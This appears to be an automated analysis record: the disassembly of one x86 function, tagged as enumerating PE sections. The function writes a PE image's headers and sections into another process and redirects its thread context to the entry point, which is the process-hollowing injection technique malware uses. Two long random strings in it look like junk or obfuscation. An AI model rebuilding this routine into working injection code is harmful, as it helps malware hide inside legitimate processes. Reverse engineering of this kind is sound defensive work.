Function at 0x409b50
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bd70
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x487870]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], str.buDwFvGGIzoHUvD3l0Jq09SpaJO2jUefYFNPbv72ROyOze6UtyuFjppAOzo7WsFICEpH7SBkdj1HwVJT2a6pphlpHa3NFmgWBEWtuwXy1cSOv8skVfbCCguQgDLWirD4LQGgr3whr5yWTwazte69pxdwPAOLeMrdomD4fIaBv1FgG2L6ls3
push 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x489e84]
push ecx
call fcn.00409a40
add esp, 0x14
mov dword [ebp - 0x18], 0
jmp 0x409bbf
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 0x10]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x18], ecx
jge 0x409c18
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x28
add edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax + 0x3c]
lea edx, [edx + ecx + 0xf8]
mov dword [ebp - 0x1c], edx
push 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x489e84]
push eax
call fcn.00409a40
add esp, 0x14
mov dword [ebp - 0x28], str.dOxo4jAWNk0Om9F9PvIjsDrwCPRrxg3SroL6rNg5qMSiqb6mFtfK1KJEoqEgSHdy31cSR2weAewVXzs2QgBNovLYOq1EP8659cQKxXpoAOcOJ5VVD574ORJt3oe2U5PXDiRmc4NYV4Kgxw6O2UgM2pMxuhh3FbVFcuz64svSpNIHbQTmREFVheR1NjKwG9jBdOo1TMfr5bhRv3GbGV5ej2UfW4RvxKf7V6UT0iyqhGdDkceSNiq0r6FY7rvePQryh1Qf7NW7z8X7vqE1k3HmqiOrLEbbaqYaX45fAHMbOEDAVXs47m96B4UiFh4XbrkbwyAKeYiK9KVys9AuMe3HNppFNbj0Pqif6zQoEnWf3nUTCiXIxUMGo8IXCNAedq7dvOjcT1tz0oLOjAfezLRvs84VX5HK64ATkcNo1fzSYnt8HQ1EJIarIVcOHwSICU1RHiJMlMbxjIqEehBAmnUIDBMM4ha86hgeEaJuTxc2FMK3vJSeGKGThnu6IokLT9HI8kJ0kCxS9TpLiQeiNlgOmJ04FWUiEecBWJV3VkcIei47rTw7K6HGfk37mTga1UaKNOJLCc5gKcaf1UaCrnk2U3kIBdsGQlvCiqSBXVef2MU5aB6hD2LH1WAsAKkXaiFeTSljbtAyFalrbmK83oQSPjBYUovW3iAb2Xm07Vc7Iq9Uxk5ReaH5iC7YzVmqNzIDVTr4hF5VBzRXOixEFzK8XyTiW731O12nLmniLbh7bCMQJM7kHhCc10NMMEt8Ei2IBucJneQNCtVFb3keBofLk2Aogdk3YGJAmRdOwJRfx27la0bltsOGlX8bTo2QFfEtTxYgfRpMU8VEOhcbnwM6ehfeFLNsEIOrU0m9fWBOazHarcqQc1RsIFOKRRDC4vM92crQRxyO36xhtOr2MT4Ae3I2f9fU9MDNLvB64nplIpkgtQj1NwCCNvQnS39JinXevNsWtrj2K9GabMDDQI428m6fjVBl3OQMwnVKlRrB4V3RqIwiqL9Ax8q77kt7rU1ORD7cyN4oOKn7QuXEq17vCX3ww0CSqEj8SQn3ReelGVabqDV4aMXOgs7ncmiIbBms4F5nEj7neBctRmcE8gt5PQSAcikIz0xyDVSdonPSGXNlaysMwktgIUwUuMVVfOnSj5h2R77qmgC36Tyw3sFQyJPh8RLlAXwCh7HL5vmMxPKPbUtDWHEJfIhOcGQWL6MEkCqNlUzYw6ERIXlCXFXhYBXRHrzCIJ6yFLFWcXqbDybjLcpEnAWhcuAWMpIg6exz7ivxsFdLdLyf9D4AWdT2AJyQuWvEpJkJUwThfjSlCpqHs7R2YV0e76RtYwvzQgPGUmJoRy2IecOG4iugi6cpQ4f9BG5cn41v86w4BM5HDTkwSYQWx1SgavjMoKPjufyCT2SC71E1LE8iwGNknBAgidG1hn2MCMoxqsf9U6nJjNqgUyWNSr1AQHUTg2QIgxCcgzyBJ3jxLbh9oHIKQRMuc37lPqKT7nsUWmx71r665S6gueAX2YirmMWaSyyJ4a9rWyMUTlXSDhzAYh7A7FLY41H2OFnfeN3QGFFpdkIij1KKN1UcLziPMjdzshG9TcAFyXt8wvJBnY308zIIz4LRENTg5bhJChhLRvdK4u02Cm8djbjv7lU5v6Lspph14
jmp 0x409bb6
push 0
push 4
mov ecx, dword [ebp + 0x10]
add ecx, 0x34
push ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x489e84]
push ecx
call fcn.00409a40
add esp, 0x14
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp + 0x14]
mov dword [ecx + 0xb0], eax
mov al, 1
jmp 0x409c86
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14